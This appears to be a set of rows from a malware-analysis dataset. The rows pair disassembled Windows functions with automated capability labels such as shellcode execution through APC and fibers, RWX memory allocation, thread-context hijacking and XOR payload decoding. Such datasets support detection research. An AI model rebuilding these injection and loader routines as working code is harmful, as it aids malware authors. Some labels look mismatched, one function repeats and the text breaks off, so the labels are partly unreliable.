joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400494a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x14004f0c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, str.ntdll.dll
call qword [0x14004d300]
mov rdi, rax
test rax, rax
je 0x1400495cc
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x38], 0x48409
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x38]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x30]
call rbx
test eax, eax
jne 0x1400495cc
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x1400495cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x48409
lea r8, section..text
mov rcx, rax
mov rdx, rbx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x1400495cc
cmp qword [rsp + 0x40], 0x48409
jne 0x1400495cc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rdi, rax
test rax, rax
je 0x1400495b8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r8, rbx
lea rcx, [0x140049410]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x1400495b8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov edx, 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_SleepEx]
xor eax, eax
jmp 0x1400495d1
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14004a540
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x14004a050
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
xor r12d, r12d
mov r15d, r8d
xor eax, eax
mov rbx, rdx
mov rsi, rcx
lock cmpxchg qword [rcx], r12
je 0x14004a0b7
or rdi, 0xffffffffffffffff
cmp rax, rdi
jne 0x14004a096
xor eax, eax
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
or rdi, 0xffffffffffffffff
mov qword [rbp + 0x188], r12
test r15b, 1
je 0x14004a0d6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x14004a21b
bt qword [0x14004d2d0], 0
lea rdx, str.LoadLibraryExW
lea rcx, [0x14004f058]
call fcn.140049f84
mov r14, rax
test rax, rax
je 0x14004a094
mov r13d, 2
test r13b, r15b
je 0x14004a10d
mov r8d, r13d
jmp 0x14004a213
test r15b, 4
je 0x14004a11b
xor r8d, r8d
jmp 0x14004a213
bt qword [0x14004d2c8], 0
lea rdx, str.AddDllDirectory
lea rcx, [0x14004f050]
call fcn.140049f84
test rax, rax
jne 0x14004a20d
bt qword [0x14004d2c0], 0
lea rdx, str.LdrLoadDll
lea rcx, [0x14004f048]
call fcn.140049f84
mov r15, rax
test rax, rax
je 0x14004a094
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x102
ja 0x14004a113
mov rdx, rdi
mov rax, rbx
mov rcx, r12
test rbx, rbx
je 0x14004a1b3
cmp word [rax], r12w
je 0x14004a1b3
inc rcx
add rax, r13
sub rdx, 1
jne 0x14004a1a1
add rcx, rcx
mov qword [rsp + 0x28], rbx
movzx eax, cx
lea r9, [rbp + 0x188]
mov edx, 0xffff
lea r8, [rsp + 0x20]
cmp rcx, rdx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r13w
cmp rax, rdx
cmova cx, dx
xor edx, edx
mov word [rsp + 0x22], cx
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call r15
mov rax, qword [rbp + 0x188]
jmp 0x14004a222
mov r8d, 0x800
xor edx, edx
mov rcx, rbx
call r14
mov qword [rbp + 0x188], rax
test rax, rax
jne 0x14004a22f
xchg qword [rsi], rdi
jmp 0x14004a094
xchg qword [rsi], rax
test rax, rax
je 0x14004a244
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x188]
jmp 0x14004a096

Function at 0x14004aaf4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004ab3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004ab3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004ab3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004ab3e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004ab3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004ab40
xor al, al
add rsp, 0x28
ret
Function at 0x14004b350
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004b3b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004b3b2
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x14004b3b2
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x14004b3b2
cmp dword [rdx + 0x84], 0xe
jbe 0x14004b3b2
cmp dword [rdx + 0xf8], 0
je 0x14004b3b2
mov ecx, ebx
call fcn.14004b210
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14004f738]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.14004b080
cmp dword [rsp + 0x60], 0
jne 0x14004b3f5
mov ecx, ebx
call fcn.14004b1c0
int3
add rsp, 0x40
pop rbx
ret

Function at 0x14004b440
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004b49c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004b49c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004b49c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004b49c
cmp dword [rcx + 0x84], 0xe
jbe 0x14004b49c
cmp dword [rcx + 0xf8], 0
je 0x14004b49c
mov ecx, ebx
call fcn.14004b210
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14004f738]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.14004b080
cmp dword [rsp + 0x60], 0
jne 0x14004b4df
mov ecx, ebx
call fcn.14004b1c0
int3
add rsp, 0x40
pop rbx
ret
Function at 0x14004c0c0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x14004f0c0]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14004c0fc
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.14004a994
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14004c1b8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x14004c220
test ebx, ebx
jne 0x14004c220
mov ecx, 2
call fcn.14004a994
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.14004a540
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x140027d34
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001bc0c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001bc0c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027e84
cmp rax, 0xffffffffffffffff
je 0x140027e84
xor edi, edi
test rbp, rbp
jle 0x140027e2f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001e248
mov rbx, rax
test rax, rax
jne 0x140027dbc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027e25
mov edx, 0x8000
mov ecx, r14d
call fcn.1400156f0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c90c
cmp eax, 0xffffffff
je 0x140027e05
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027dcc
mov edx, r15d
mov ecx, r14d
call fcn.1400156f0
jmp 0x140027e25
cmp byte [rsi + 0x38], dil
je 0x140027e1c
cmp dword [rsi + 0x34], 5
jne 0x140027e1c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027e25
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a2b8
jmp 0x140027e98
jns 0x140027e98
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001bc0c
cmp rax, 0xffffffffffffffff
jne 0x140027e50
cmp byte [rsi + 0x30], dil
je 0x140027e98
mov edi, dword [rsi + 0x2c]
jmp 0x140027e98
mov ecx, r14d
call fcn.140016ddc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027e98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027e98
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027e91
mov eax, dword [rsi + 0x2c]
jmp 0x140027e96
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001bc0c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x173de6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x173de76
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x173de9f
pop rbp
sub rbp, 0x33
sub rbp, 0x133de6c
sub rsp, 0x20
jmp 0x173debe
mov rax, 0x133de6c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffe751174e
xor byte [rax], dl
inc rax
dec rcx
jne 0x173dedd
jmp 0x173def4
invalid
Function at 0x180004d40
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [rcx + 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rcx + 0x28]
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x180004d78
add rsp, 0x90
pop rbx
ret
lea rdx, [0x18000ae78]
lea rcx, [rsp + 0x50]
call fcn.180001e80
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.180002db0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.1800013d0
lea rdx, [0x18000d830]
lea rcx, [rsp + 0x38]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x180005840
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
push r15
mov rsi, qword [rsp + 0x48]
xor r14d, r14d
mov rbx, qword [rsp + 0x60]
mov r12, r9
mov rcx, qword [rsp + 0x50]
mov r13, r8
mov rbp, qword [rsp + 0x58]
mov r15, rdx
mov qword [rsi], r8
mov qword [rbx], rcx
mov rax, qword [rsi]
cmp rax, r9
je 0x1800059d5
cmp rcx, rbp
je 0x1800059d5
mov r9d, 1
movzx edx, word [r15]
xor dil, dil
movzx ecx, word [rax]
mov r11d, 0x2800
mov r8d, 0x3ff
mov r10d, 0x2400
cmp r9w, dx
jae 0x1800058dc
lea eax, [r10 + rcx]
cmp ax, r8w
ja 0x1800059fc
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x1800058f3
mov eax, ecx
add cx, r11w
cmp cx, r8w
ja 0x1800058f3
shl eax, 0xa
mov dil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x180005906
movzx r8d, al
mov r10d, r14d
mov r11d, r14d
jmp 0x180005953
mov r8d, eax
cmp eax, 0x800
jae 0x180005920
shr r8d, 6
mov r10d, r9d
or r8b, 0xc0
mov r11d, r9d
jmp 0x180005953
cmp eax, 0x10000
jae 0x18000593a
shr r8d, 0xc
mov r10d, 2
or r8b, 0xe0
mov r11d, r10d
jmp 0x180005953
shr r8d, 0x12
mov r10d, 3
movzx r11d, dil
or r8b, 0xf0
xor r11d, 1
add r11d, r11d
lea r9d, [r11 + 1]
mov rdx, rbp
sub rdx, qword [rbx]
mov ecx, r9d
cmp rdx, rcx
jl 0x1800059d5
add qword [rsi], 2
test dil, dil
jne 0x180005974
cmp r10d, 3
jae 0x180005980
mov rcx, qword [rbx]
mov r9d, r11d
mov byte [rcx], r8b
inc qword [rbx]
mov r8, qword [rbx]
test r9d, r9d
jle 0x1800059ae
lea ecx, [r10 + r10*2]
add ecx, ecx
nop
sub ecx, 6
mov edx, eax
shr edx, cl
dec r9d
and dl, 0x3f
or dl, 0x80
mov byte [r8], dl
inc qword [rbx]
mov r8, qword [rbx]
test r9d, r9d
jg 0x180005990
shr eax, 0xa
mov r9d, 1
test dil, dil
mov ecx, r9d
cmovne ecx, eax
mov word [r15], cx
mov rax, qword [rsi]
cmp rax, r12
je 0x1800059d5
cmp qword [rbx], rbp
jne 0x18000589d
cmp r13, qword [rsi]
sete r14b
mov eax, r14d
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
ret
mov eax, 2
jmp 0x1800059df
Function at 0x180009080
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x180009170
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ecx, dword [0x18000f0b0]
cmp ecx, 0xffffffff
jne 0x18000918e
xor esi, esi
jmp 0x180009197
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
mov qword [rsp + 0x30], rsi
test rsi, rsi
je 0x18000927b
cmp qword [rsi + 0x30], 0
jne 0x1800091b7
cmp qword [rsi + 0x18], 0
je 0x180009254
mov rbx, qword [rsi + 0x18]
test rbx, rbx
je 0x180009214
mov rax, qword [rbx + 8]
mov qword [rsi + 0x18], rax
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800091f7
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rbx]
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi + 0x18]
test rbx, rbx
jne 0x1800091c0
cmp qword [rsi + 0x30], 0
je 0x1800091ac
nop dword [rax + rax]
mov rbx, qword [rsi + 0x28]
mov rbx, qword [rbx]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x18000923c
mov rdx, qword [rbx + 0x38]
test rdx, rdx
je 0x18000923c
call qword [rbx + 0x28]
mov rdx, rbx
lea rcx, [rsi + 0x28]
call fcn.180008530
cmp qword [rsi + 0x30], 0
jne 0x180009220
jmp 0x1800091a5
lea rdx, [0x180008ea0]
lea rcx, [0x1800104d8]
call fcn.180008a30
mov ecx, dword [0x18000f0b0]
cmp ecx, 0xffffffff
je 0x18000927b
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test rsi, rsi
je 0x1800092ae
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x1800092ae
mov rax, qword [rsi]
xor edx, edx
mov rcx, rsi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180009170
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x180009170
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ecx, dword [0x18000f0b0]
cmp ecx, 0xffffffff
jne 0x18000918e
xor esi, esi
jmp 0x180009197
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
mov qword [rsp + 0x30], rsi
test rsi, rsi
je 0x18000927b
cmp qword [rsi + 0x30], 0
jne 0x1800091b7
cmp qword [rsi + 0x18], 0
je 0x180009254
mov rbx, qword [rsi + 0x18]
test rbx, rbx
je 0x180009214
mov rax, qword [rbx + 8]
mov qword [rsi + 0x18], rax
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800091f7
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rbx]
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi + 0x18]
test rbx, rbx
jne 0x1800091c0
cmp qword [rsi + 0x30], 0
je 0x1800091ac
nop dword [rax + rax]
mov rbx, qword [rsi + 0x28]
mov rbx, qword [rbx]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x18000923c
mov rdx, qword [rbx + 0x38]
test rdx, rdx
je 0x18000923c
call qword [rbx + 0x28]
mov rdx, rbx
lea rcx, [rsi + 0x28]
call fcn.180008530
cmp qword [rsi + 0x30], 0
jne 0x180009220
jmp 0x1800091a5
lea rdx, [0x180008ea0]
lea rcx, [0x1800104d8]
call fcn.180008a30
mov ecx, dword [0x18000f0b0]
cmp ecx, 0xffffffff
je 0x18000927b
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test rsi, rsi
je 0x1800092ae
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x1800092ae
mov rax, qword [rsi]
xor edx, edx
mov rcx, rsi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180001020
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x510
mov rax, qword [0x18001b040]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov rax, qword [0x18001bae8]
mov rsi, rdx
mov rdi, rcx
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
je 0x1800010d4
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4d0
call fcn.18000f3d0
mov r8d, dword [rbx + 0x28]
mov r9, rsi
add r8, qword [rbx + 0x30]
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1800010d4
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x60], 0x100002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0xb0], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, rbx
jmp 0x1800010d6
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.180001af0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180001550
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x18001b040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rcx
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800015f3
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call fcn.18000f3d0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1800015ea
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x1800015e6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800015c0
jmp 0x1800015ea
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180001af0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180001620
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x2140
call fcn.180001a90
sub rsp, rax
mov rax, qword [0x18001b040]
xor rax, rsp
mov qword [rsp + 0x2130], rax
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
lea rcx, [rsp + 0x30]
xor edx, edx
mov dword [rsp + 0x20], ebx
mov r8d, 0x2000
call fcn.18000f3d0
lea r9, [rsp + 0x20]
mov r8d, 0x2000
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1800016ea
xor edx, edx
lea rcx, [rsp + 0x2030]
mov r8d, 0x100
call fcn.18000f3d0
test dword [rsp + 0x20], 0xfffffff8
jbe 0x1800016ea
lea rdi, [rsp + 0x30]
mov r9d, 0x100
mov rdx, qword [rdi + rbx*8]
lea rdi, [rdi + rbx*8]
lea r8, [rsp + 0x2030]
mov rcx, rbp
call sub.KERNEL32.dll_K32GetModuleFileNameExA
test eax, eax
je 0x1800016dd
mov rdx, rsi
lea rcx, [rsp + 0x2030]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x18000170f
mov eax, dword [rsp + 0x20]
inc ebx
shr eax, 3
cmp ebx, eax
jb 0x1800016a0
xor eax, eax
mov rcx, qword [rsp + 0x2130]
xor rcx, rsp
call fcn.180001af0
mov rbx, qword [rsp + 0x2170]
add rsp, 0x2140
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rdi]
jmp 0x1800016ec
Function at 0x1800099dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180009a0c
xor eax, eax
jmp 0x180009acf
mov rbp, rbx
cmp word [rax], si
je 0x180009a31
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180009a18
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180009a14
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800098fc
movsxd r14, eax
test eax, eax
jne 0x180009a6f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180009a05
mov rcx, r14
call fcn.18000ac6c
mov rdi, rax
test rax, rax
jne 0x180009a88
xor ecx, ecx
call fcn.180007f34
jmp 0x180009a64
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800098fc
test eax, eax
jne 0x180009ab9
mov rcx, rdi
call fcn.180007f34
jmp 0x180009ac3
xor ecx, ecx
call fcn.180007f34
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
